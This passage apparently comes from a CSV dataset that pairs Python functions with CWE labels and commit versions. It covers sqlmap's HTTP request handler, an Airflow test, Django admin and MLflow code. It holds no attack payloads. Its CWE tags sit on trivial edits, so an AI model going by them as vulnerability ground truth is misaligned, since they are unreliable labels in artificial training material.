                    errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                    raise SqlmapGenericException(errMsg)

            threadData.lastPage = page
            threadData.lastCode = code

            socket.setdefaulttimeout(conf.timeout)

        # Dirty patch for Python3.11.0a7 (e.g. https://github.com/sqlmapproject/sqlmap/issues/5091)
        if not sys.version.startswith(""3.11.""):
            if conf.retryOn and re.search(conf.retryOn, page, re.I):
                if threadData.retriesCount < conf.retries:
                    warnMsg = ""forced retry of the request because of undesired page content""
                    logger.warning(warnMsg)
                    return Connect._retryProxy(**kwargs)

        processResponse(page, responseHeaders, code, status)

        if not skipLogTraffic:
            if conn and getattr(conn, ""redurl"", None):
                _ = _urllib.parse.urlsplit(conn.redurl)
                _ = (""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """"))
                requestMsg = re.sub(r""(\n[A-Z]+ ).+?( HTTP/\d)"", r""\g<1>%s\g<2>"" % getUnicode(_).replace(""\\"", ""\\\\""), requestMsg, 1)

                if kb.resendPostOnRedirect is False:
                    requestMsg = re.sub(r""(\[#\d+\]:\n)POST "", r""\g<1>GET "", requestMsg)
                    requestMsg = re.sub(r""(?i)Content-length: \d+\n"", """", requestMsg)
                    requestMsg = re.sub(r""(?s)\n\n.+"", ""\n"", requestMsg)

                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, conn.code, status)
            elif ""\n"" not in responseMsg:
                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

        return page, responseHeaders, code",CWE-703,sqlmapproject/sqlmap,76202e565d286dc32c101bf2dcf2710116bae7f9,"def getPage(**kwargs):
        """"""
        This method connects to the target URL or proxy and returns
        the target URL page content
        """"""

        if conf.offline:
            return None, None, None

        url = kwargs.get(""url"", None) or conf.url
        get = kwargs.get(""get"", None)
        post = kwargs.get(""post"", None)
        method = kwargs.get(""method"", None)
        cookie = kwargs.get(""cookie"", None)
        ua = kwargs.get(""ua"", None) or conf.agent
        referer = kwargs.get(""referer"", None) or conf.referer
        host = kwargs.get(""host"", None) or conf.host
        direct_ = kwargs.get(""direct"", False)
        multipart = kwargs.get(""multipart"", None)
        silent = kwargs.get(""silent"", False)
        raise404 = kwargs.get(""raise404"", True)
        timeout = kwargs.get(""timeout"", None) or conf.timeout
        auxHeaders = kwargs.get(""auxHeaders"", None)
        response = kwargs.get(""response"", False)
        ignoreTimeout = kwargs.get(""ignoreTimeout"", False) or kb.ignoreTimeout or conf.ignoreTimeouts
        refreshing = kwargs.get(""refreshing"", False)
        retrying = kwargs.get(""retrying"", False)
        crawling = kwargs.get(""crawling"", False)
        checking = kwargs.get(""checking"", False)
        skipRead = kwargs.get(""skipRead"", False)
        finalCode = kwargs.get(""finalCode"", False)
        chunked = kwargs.get(""chunked"", False) or conf.chunked

        start = time.time()

        if isinstance(conf.delay, (int, float)) and conf.delay > 0:
            time.sleep(conf.delay)

        threadData = getCurrentThreadData()
        with kb.locks.request:
            kb.requestCounter += 1
            threadData.lastRequestUID = kb.requestCounter

            if conf.proxyFreq:
                if kb.requestCounter % conf.proxyFreq == 1:
                    conf.proxy = None

                    warnMsg = ""changing proxy""
                    logger.warning(warnMsg)

                    setHTTPHandlers()

        if conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0:
            if conf.murphyRate:
                time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1))

            page, headers, code = randomStr(int(randomInt()), alphabet=[_unichr(_) for _ in xrange(256)]), None, None if not conf.murphyRate else randomInt(3)

            threadData.lastPage = page
            threadData.lastCode = code

            return page, headers, code

        if conf.liveCookies:
            with kb.locks.liveCookies:
                if not checkFile(conf.liveCookies, raiseOnError=False) or os.path.getsize(conf.liveCookies) == 0:
                    warnMsg = ""[%s] [WARNING] live cookies file '%s' is empty or non-existent. Waiting for timeout (%d seconds)"" % (time.strftime(""%X""), conf.liveCookies, LIVE_COOKIES_TIMEOUT)
                    dataToStdout(warnMsg)

                    valid = False
                    for _ in xrange(LIVE_COOKIES_TIMEOUT):
                        if checkFile(conf.liveCookies, raiseOnError=False) and os.path.getsize(conf.liveCookies) > 0:
                            valid = True
                            break
                        else:
                            dataToStdout('.')
                            time.sleep(1)

                    dataToStdout(""\n"")

                    if not valid:
                        errMsg = ""problem occurred while loading cookies from file '%s'"" % conf.liveCookies
                        raise SqlmapValueException(errMsg)

                cookie = openFile(conf.liveCookies).read().strip()
                cookie = re.sub(r""(?i)\ACookie:\s*"", """", cookie)

        if multipart:
            post = multipart
        else:
            if not post:
                chunked = False

            elif chunked:
                post = _urllib.parse.unquote(post)
                post = chunkSplitPostData(post)

        webSocket = url.lower().startswith(""ws"")

        if not _urllib.parse.urlsplit(url).netloc:
            url = _urllib.parse.urljoin(conf.url, url)

        # flag to know if we are dealing with the same target host
        target = checkSameHost(url, conf.url)

        if not retrying:
            # Reset the number of connection retries
            threadData.retriesCount = 0

        # fix for known issue when urllib2 just skips the other part of provided
        # url splitted with space char while urlencoding it in the later phase
        url = url.replace("" "", ""%20"")

        if ""://"" not in url:
            url = ""http://%s"" % url

        conn = None
        page = None
        code = None
        status = None

        _ = _urllib.parse.urlsplit(url)
        requestMsg = u""HTTP request [#%d]:\r\n%s "" % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
        requestMsg += getUnicode((""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """")) if not any((refreshing, crawling, checking)) else url)
        responseMsg = u""HTTP response ""
        requestHeaders = u""""
        responseHeaders = None
        logHeaders = u""""
        skipLogTraffic = False

        raise404 = raise404 and not kb.ignoreNotFound

        # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't
        # support those by default
        url = asciifyUrl(url)

        try:
            socket.setdefaulttimeout(timeout)

            if direct_:
                if '?' in url:
                    url, params = url.split('?', 1)
                    params = urlencode(params)
                    url = ""%s?%s"" % (url, params)

            elif any((refreshing, crawling, checking)):
                pass

            elif target:
                if conf.forceSSL:
                    url = re.sub(r""(?i)\A(http|ws):"", r""\g<1>s:"", url)
                    url = re.sub(r""(?i):80/"", "":443/"", url)

                if PLACE.GET in conf.parameters and not get:
                    get = conf.parameters[PLACE.GET]

                    if not conf.skipUrlEncode:
                        get = urlencode(get, limit=True)

                if get:
                    if '?' in url:
                        url = ""%s%s%s"" % (url, DEFAULT_GET_POST_DELIMITER, get)
                        requestMsg += ""%s%s"" % (DEFAULT_GET_POST_DELIMITER, get)
                    else:
                        url = ""%s?%s"" % (url, get)
                        requestMsg += ""?%s"" % get

                if PLACE.POST in conf.parameters and not post and method != HTTPMETHOD.GET:
                    post = conf.parameters[PLACE.POST]

            elif get:
                url = ""%s?%s"" % (url, get)
                requestMsg += ""?%s"" % get

            requestMsg += "" %s"" % _http_client.HTTPConnection._http_vsn_str

            # Prepare HTTP headers
            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}, base=None if target else {})

            if HTTP_HEADER.COOKIE in headers:
                cookie = headers[HTTP_HEADER.COOKIE]

            if kb.authHeader:
                headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader

            if kb.proxyAuthHeader:
                headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader

            if not conf.requestFile or not target:
                if not getHeader(headers, HTTP_HEADER.HOST):
                    headers[HTTP_HEADER.HOST] = getHostHeader(url)

                if not getHeader(headers, HTTP_HEADER.ACCEPT):
                    headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE

                if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
                    headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else ""identity""

            elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
                for header in headers:
                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                        del headers[header]
                        break

            if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
                headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE if unArrayizeValue(conf.base64Parameter) != HTTPMETHOD.POST else PLAIN_TEXT_CONTENT_TYPE)

            if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]:
                warnMsg = ""missing 'boundary parameter' in '%s' header. "" % HTTP_HEADER.CONTENT_TYPE
                warnMsg += ""Will try to reconstruct""
                singleTimeWarnMessage(warnMsg)

                boundary = findMultipartPostBoundary(conf.data)
                if boundary:
                    headers[HTTP_HEADER.CONTENT_TYPE] = ""%s; boundary=%s"" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary)

            if conf.keepAlive:
                headers[HTTP_HEADER.CONNECTION] = ""keep-alive""

            if chunked:
                headers[HTTP_HEADER.TRANSFER_ENCODING] = ""chunked""

            if auxHeaders:
                headers = forgeHeaders(auxHeaders, headers)

            if kb.headersFile:
                content = openFile(kb.headersFile, ""rb"").read()
                for line in content.split(""\n""):
                    line = getText(line.strip())
                    if ':' in line:
                        header, value = line.split(':', 1)
                        headers[header] = value

            if conf.localhost:
                headers[HTTP_HEADER.HOST] = ""localhost""

            for key, value in list(headers.items()):
                if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper():
                    value = re.sub(r""(?i)(,)br(,)?"", lambda match: ',' if match.group(1) and match.group(2) else """", value) or ""identity""

                del headers[key]
                if isinstance(value, six.string_types):
                    for char in (r""\r"", r""\n""):
                        value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", value)
                    headers[getBytes(key) if six.PY2 else key] = getBytes(value.strip(""\r\n""))  # Note: Python3 has_header() expects non-bytes value

            if six.PY2:
                url = getBytes(url)  # Note: Python3 requires text while Python2 has problems when mixing text with binary POST

            if webSocket:
                ws = websocket.WebSocket()
                ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
                ws.connect(url, header=(""%s: %s"" % _ for _ in headers.items() if _[0] not in (""Host"",)), cookie=cookie)  # WebSocket will add Host field of headers automatically
                ws.send(urldecode(post or """"))

                _page = []

                if kb.webSocketRecvCount is None:
                    while True:
                        try:
                            _page.append(ws.recv())
                        except websocket.WebSocketTimeoutException:
                            kb.webSocketRecvCount = len(_page)
                            break
                else:
                    for i in xrange(max(1, kb.webSocketRecvCount)):
                        _page.append(ws.recv())

                page = ""\n"".join(_page)

                ws.close()
                code = ws.status
                status = _http_client.responses[code]

                class _(dict):
                    pass

                responseHeaders = _(ws.getheaders())
                responseHeaders.headers = [""%s: %s\r\n"" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]

                requestHeaders += ""\r\n"".join([""%s: %s"" % (getUnicode(key.capitalize() if hasattr(key, ""capitalize"") else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                requestMsg += ""\r\n""

                threadData.lastRequestMsg = requestMsg

                logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
            else:
                post = getBytes(post)

                if unArrayizeValue(conf.base64Parameter) == HTTPMETHOD.POST:
                    if kb.place != HTTPMETHOD.POST:
                        conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    else:
                        post = urldecode(post, convall=True)
                        post = encodeBase64(post)

                if target and cmdLineOptions.method or method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST):
                    req = MethodRequest(url, post, headers)
                    req.set_method(cmdLineOptions.method or method)
                elif url is not None:
                    req = _urllib.request.Request(url, post, headers)
                else:
                    return None, None, None

                for function in kb.preprocessFunctions:
                    try:
                        function(req)
                    except Exception as ex:
                        errMsg = ""error occurred while running preprocess ""
                        errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                        raise SqlmapGenericException(errMsg)
                    else:
                        post, headers = req.data, req.headers

                requestHeaders += ""\r\n"".join([""%s: %s"" % (getUnicode(key.capitalize() if hasattr(key, ""capitalize"") else key), getUnicode(value)) for (key, value) in req.header_items()])

                if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
                    conf.cj._policy._now = conf.cj._now = int(time.time())
                    with conf.cj._cookies_lock:
                        cookies = conf.cj._cookies_for_request(req)
                    requestHeaders += ""\r\n%s"" % (""Cookie: %s"" % "";"".join(""%s=%s"" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies))

                if post is not None:
                    if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked:
                        requestHeaders += ""\r\n%s: %d"" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))

                if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
                    requestHeaders += ""\r\n%s: %s"" % (HTTP_HEADER.CONNECTION, ""close"" if not conf.keepAlive else ""keep-alive"")

                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                if not chunked:
                    requestMsg += ""\r\n""

                if not multipart:
                    threadData.lastRequestMsg = requestMsg

                    logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

                if conf.cj:
                    for cookie in conf.cj:
                        if cookie.value is None:
                            cookie.value = """"
                        else:
                            for char in (r""\r"", r""\n""):
                                cookie.value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", cookie.value)

                conn = _urllib.request.urlopen(req)

                if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or """").lower() == AUTH_TYPE.BASIC.lower():
                    kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION))

                if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
                    kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)

                # Return response object
                if response:
                    return conn, None, None

                # Get HTTP response
                if hasattr(conn, ""redurl""):
                    page = (threadData.lastRedirectMsg[1] if kb.choices.redirect == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
                    skipLogTraffic = kb.choices.redirect == REDIRECTION.NO
                    code = conn.redcode if not finalCode else code
                else:
                    page = Connect._connReadProxy(conn) if not skipRead else None

                if conn:
                    code = (code or conn.code) if conn.code == kb.originalCode else conn.code  # do not override redirection code (for comparison purposes)
                    responseHeaders = conn.info()
                    responseHeaders[URI_HTTP_HEADER] = conn.geturl() if hasattr(conn, ""geturl"") else url

                    if hasattr(conn, ""redurl""):
                        responseHeaders[HTTP_HEADER.LOCATION] = conn.redurl

                    responseHeaders = patchHeaders(responseHeaders)
                    kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
                else:
                    code = None
                    responseHeaders = {}

                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
                status = getUnicode(conn.msg) if conn and getattr(conn, ""msg"", None) else None

            kb.connErrorCounter = 0

            if not refreshing:
                refresh = responseHeaders.get(HTTP_HEADER.REFRESH, """").split(""url="")[-1].strip()

                if extractRegexResult(META_REFRESH_REGEX, page):
                    refresh = extractRegexResult(META_REFRESH_REGEX, page)

                    debugMsg = ""got HTML meta refresh header""
                    logger.debug(debugMsg)

                if not refresh:
                    refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)

                    if refresh:
                        debugMsg = ""got Javascript redirect logic""
                        logger.debug(debugMsg)

                if refresh:
                    if kb.alwaysRefresh is None:
                        msg = ""got a refresh intent ""
                        msg += ""(redirect like response common to login pages) to '%s'. "" % refresh
                        msg += ""Do you want to apply it from now on? [Y/n]""

                        kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)

                    if kb.alwaysRefresh:
                        if re.search(r""\Ahttps?://"", refresh, re.I):
                            url = refresh
                        else:
                            url = _urllib.parse.urljoin(url, refresh)

                        threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
                        kwargs[""refreshing""] = True
                        kwargs[""url""] = url
                        kwargs[""get""] = None
                        kwargs[""post""] = None

                        try:
                            return Connect._getPageProxy(**kwargs)
                        except SqlmapSyntaxException:
                            pass

            # Explicit closing of connection object
            if conn and not conf.keepAlive:
                try:
                    if hasattr(conn.fp, '_sock'):
                        conn.fp._sock.close()
                    conn.close()
                except Exception as ex:
                    warnMsg = ""problem occurred during connection closing ('%s')"" % getSafeExString(ex)
                    logger.warning(warnMsg)

        except SqlmapConnectionException as ex:
            if conf.proxyList and not kb.threadException:
                warnMsg = ""unable to connect to the target URL ('%s')"" % getSafeExString(ex)
                logger.critical(warnMsg)
                threadData.retriesCount = conf.retries
                return Connect._retryProxy(**kwargs)
            else:
                raise

        except _urllib.error.HTTPError as ex:
            page = None
            responseHeaders = None

            if checking:
                return None, None, None

            try:
                page = ex.read() if not skipRead else None
                responseHeaders = ex.info()
                responseHeaders[URI_HTTP_HEADER] = ex.geturl()
                responseHeaders = patchHeaders(responseHeaders)
                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
            except socket.timeout:
                warnMsg = ""connection timed out while trying ""
                warnMsg += ""to get error page information (%d)"" % ex.code
                logger.warning(warnMsg)
                return None, None, None
            except KeyboardInterrupt:
                raise
            except:
                pass
            finally:
                page = getUnicode(page)

            code = ex.code
            status = getUnicode(getattr(ex, ""reason"", None) or getSafeExString(ex).split("": "", 1)[-1])

            kb.originalCode = kb.originalCode or code
            threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
            kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1

            responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            skipLogTraffic = True

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

            if ex.code not in (conf.ignoreCode or []):
                if ex.code == _http_client.UNAUTHORIZED:
                    errMsg = ""not authorized, try to provide right HTTP ""
                    errMsg += ""authentication type and valid credentials (%d). "" % code
                    errMsg += ""If this is intended, try to rerun by providing ""
                    errMsg += ""a valid value for option '--ignore-code'""
                    raise SqlmapConnectionException(errMsg)
                elif chunked and ex.code in (_http_client.METHOD_NOT_ALLOWED, _http_client.LENGTH_REQUIRED):
                    warnMsg = ""turning off HTTP chunked transfer encoding ""
                    warnMsg += ""as it seems that the target site doesn't support it (%d)"" % code
                    singleTimeWarnMessage(warnMsg)
                    conf.chunked = kwargs[""chunked""] = False
                    return Connect.getPage(**kwargs)
                elif ex.code == _http_client.REQUEST_URI_TOO_LONG:
                    warnMsg = ""request URI is marked as too long by the target. ""
                    warnMsg += ""you are advised to try a switch '--no-cast' and/or '--no-escape'""
                    singleTimeWarnMessage(warnMsg)
                elif ex.code == _http_client.NOT_FOUND:
                    if raise404:
                        errMsg = ""page not found (%d)"" % code
                        raise SqlmapConnectionException(errMsg)
                    else:
                        debugMsg = ""page not found (%d)"" % code
                        singleTimeLogMessage(debugMsg, logging.DEBUG)
                elif ex.code == _http_client.GATEWAY_TIMEOUT:
                    if ignoreTimeout:
                        return None if not conf.ignoreTimeouts else """", None, None
                    else:
                        warnMsg = ""unable to connect to the target URL (%d - %s)"" % (ex.code, _http_client.responses[ex.code])
                        if threadData.retriesCount < conf.retries and not kb.threadException:
                            warnMsg += "". sqlmap is going to retry the request""
                            logger.critical(warnMsg)
                            return Connect._retryProxy(**kwargs)
                        elif kb.testMode:
                            logger.critical(warnMsg)
                            return None, None, None
                        else:
                            raise SqlmapConnectionException(warnMsg)
                else:
                    debugMsg = ""got HTTP error code: %d ('%s')"" % (code, status)
                    logger.debug(debugMsg)

        except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError, AttributeError, OSError):
            tbMsg = traceback.format_exc()

            if conf.debug:
                dataToStdout(tbMsg)

            if checking:
                return None, None, None
            elif ""AttributeError:"" in tbMsg:
                if ""WSAECONNREFUSED"" in tbMsg:
                    return None, None, None
                else:
                    raise
            elif ""no host given"" in tbMsg:
                warnMsg = ""invalid URL address used (%s)"" % repr(url)
                raise SqlmapSyntaxException(warnMsg)
            elif any(_ in tbMsg for _ in (""forcibly closed"", ""Connection is already closed"", ""ConnectionAbortedError"")):
                warnMsg = ""connection was forcibly closed by the target URL""
            elif ""timed out"" in tbMsg:
                if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection timed out to the target URL""
            elif ""Connection reset"" in tbMsg:
                if not conf.disablePrecon:
                    singleTimeWarnMessage(""turning off pre-connect mechanism because of connection reset(s)"")
                    conf.disablePrecon = True

                if kb.testMode:
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection reset to the target URL""
            elif ""URLError"" in tbMsg or ""error"" in tbMsg:
                warnMsg = ""unable to connect to the target URL""
                match = re.search(r""Errno \d+\] ([^>\n]+)"", tbMsg)
                if match:
                    warnMsg += "" ('%s')"" % match.group(1).strip()
            elif ""NTLM"" in tbMsg:
                warnMsg = ""there has been a problem with NTLM authentication""
            elif ""Invalid header name"" in tbMsg:  # (e.g. PostgreSQL ::Text payload)
                return None, None, None
            elif ""BadStatusLine"" in tbMsg:
                warnMsg = ""connection dropped or unknown HTTP ""
                warnMsg += ""status code received""
                if not conf.agent and not conf.randomAgent:
                    warnMsg += "". Try to force the HTTP User-Agent ""
                    warnMsg += ""header with option '--user-agent' or switch '--random-agent'""
            elif ""IncompleteRead"" in tbMsg:
                warnMsg = ""there was an incomplete read error while retrieving data ""
                warnMsg += ""from the target URL""
            elif ""Handshake status"" in tbMsg:
                status = re.search(r""Handshake status ([\d]{3})"", tbMsg)
                errMsg = ""websocket handshake status %s"" % status.group(1) if status else ""unknown""
                raise SqlmapConnectionException(errMsg)
            elif ""SqlmapCompressionException"" in tbMsg:
                warnMsg = ""problems with response (de)compression""
                retrying = True
            else:
                warnMsg = ""unable to connect to the target URL""

            if ""BadStatusLine"" not in tbMsg and any((conf.proxy, conf.tor)):
                warnMsg += "" or proxy""

            if silent:
                return None, None, None

            with kb.locks.connError:
                kb.connErrorCounter += 1

                if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.choices.connError is None:
                    message = ""there seems to be a continuous problem with connection to the target. ""
                    message += ""Are you sure that you want to continue? [y/N] ""

                    kb.choices.connError = readInput(message, default='N', boolean=True)

                if kb.choices.connError is False:
                    raise SqlmapSkipTargetException

            if ""forcibly closed"" in tbMsg:
                logger.critical(warnMsg)
                return None, None, None
            elif ignoreTimeout and any(_ in tbMsg for _ in (""timed out"", ""IncompleteRead"", ""Interrupted system call"")):
                return None if not conf.ignoreTimeouts else """", None, None
            elif threadData.retriesCount < conf.retries and not kb.threadException:
                warnMsg += "". sqlmap is going to retry the request""
                if not retrying:
                    warnMsg += ""(s)""
                    logger.critical(warnMsg)
                else:
                    logger.debug(warnMsg)
                return Connect._retryProxy(**kwargs)
            elif kb.testMode or kb.multiThreadMode:
                logger.critical(warnMsg)
                return None, None, None
            else:
                raise SqlmapConnectionException(warnMsg)

        finally:
            if isinstance(page, six.binary_type):
                if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]):
                    page = six.text_type(page, errors=""ignore"")
                else:
                    page = getUnicode(page)

            for function in kb.postprocessFunctions:
                try:
                    page, responseHeaders, code = function(page, responseHeaders, code)
                except Exception as ex:
                    errMsg = ""error occurred while running postprocess ""
                    errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                    raise SqlmapGenericException(errMsg)

            threadData.lastPage = page
            threadData.lastCode = code

            socket.setdefaulttimeout(conf.timeout)

        # Dirty patch for Python3.11.0a7 (e.g. https://github.com/sqlmapproject/sqlmap/issues/5091)
        if not sys.version.startswith(""3.11.""):
            if conf.retryOn and re.search(conf.retryOn, page, re.I):
                if threadData.retriesCount < conf.retries:
                    warnMsg = ""forced retry of the request because of undesired page content""
                    logger.warning(warnMsg)
                    return Connect._retryProxy(**kwargs)

        processResponse(page, responseHeaders, code, status)

        if not skipLogTraffic:
            if conn and getattr(conn, ""redurl"", None):
                _ = _urllib.parse.urlsplit(conn.redurl)
                _ = (""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """"))
                requestMsg = re.sub(r""(\n[A-Z]+ ).+?( HTTP/\d)"", r""\g<1>%s\g<2>"" % getUnicode(_).replace(""\\"", ""\\\\""), requestMsg, 1)

                if kb.resendPostOnRedirect is False:
                    requestMsg = re.sub(r""(\[#\d+\]:\n)POST "", r""\g<1>GET "", requestMsg)
                    requestMsg = re.sub(r""(?i)Content-length: \d+\n"", """", requestMsg)
                    requestMsg = re.sub(r""(?s)\n\n.+"", ""\n"", requestMsg)

                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, conn.code, status)
            elif ""\n"" not in responseMsg:
                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

        return page, responseHeaders, code"
,UNKNOWN,UNKNOWN,tests/providers/google/cloud/operators/test_cloud_run.py,1,"def test_execute_deferrable_execute_complete_method_timeout(self, hook_mock):
        operator = CloudRunExecuteJobOperator(
            task_id=TASK_ID, project_id=PROJECT_ID, region=REGION, job_name=JOB_NAME, deferrable=True
        )

        event = {""status"": RunJobStatus.TIMEOUT.value, ""job_name"": JOB_NAME}

        with pytest.raises(AirflowException) as e:
            operator.execute_complete(mock.MagicMock(), event)

        assert ""Operation timed out"" in str(e.value)",CWE-703,apache/airflow,86b1bd22d14792d89ddc43627e4a72dcb628c5f0,"def test_execute_deferrable_execute_complete_method_timeout(self, hook_mock):
        operator = CloudRunExecuteJobOperator(
            task_id=TASK_ID, project_id=PROJECT_ID, region=REGION, job_name=JOB_NAME, deferrable=True
        )

        event = {""status"": RunJobStatus.TIMEOUT, ""job_name"": JOB_NAME}

        with pytest.raises(AirflowException) as e:
            operator.execute_complete(mock.MagicMock(), event)

        assert ""Operation timed out"" in str(e.value)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/admin/views/main.py,0,"def has_related_field_in_list_display(self):
        for field_name in self.list_display:
            try:
                field = self.lookup_opts.get_field(field_name)
            except FieldDoesNotExist:
                pass
            else:
                if isinstance(field.remote_field, ManyToOneRel):
                    # <FK>_id field names don't require a join.
                    if field_name != field.attname:
                        return True
        return False",CWE-Unknown,django/django,31314980be428c0ab8a6cf40cce0a0c17ead8ec6,"def has_related_field_in_list_display(self):
        for field_name in self.list_display:
            try:
                field = self.lookup_opts.get_field(field_name)
            except FieldDoesNotExist:
                pass
            else:
                if isinstance(field.remote_field, ManyToOneRel):
                    # <FK>_id field names don't require a join.
                    if field_name != field.get_attname():
                        return True
        return False"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/pyfunc/model.py,0,"def __init_subclass__(cls, **kwargs) -> None:
        super().__init_subclass__(**kwargs)

        # automatically wrap the predict method with pyfunc to ensure data validation
        # NB: skip wrapping for built-in classes defined in MLflow e.g, ChatModel
        if not cls.__module__.startswith(""mlflow.""):
            predict_attr = cls.__dict__.get(""predict"")
            if predict_attr is not None and callable(predict_attr):
                func_info = _get_func_info_if_type_hint_supported(predict_attr)
                setattr(cls, ""predict"", _wrap_predict_with_pyfunc(predict_attr, func_info))
            predict_stream_attr = cls.__dict__.get(""predict_stream"")
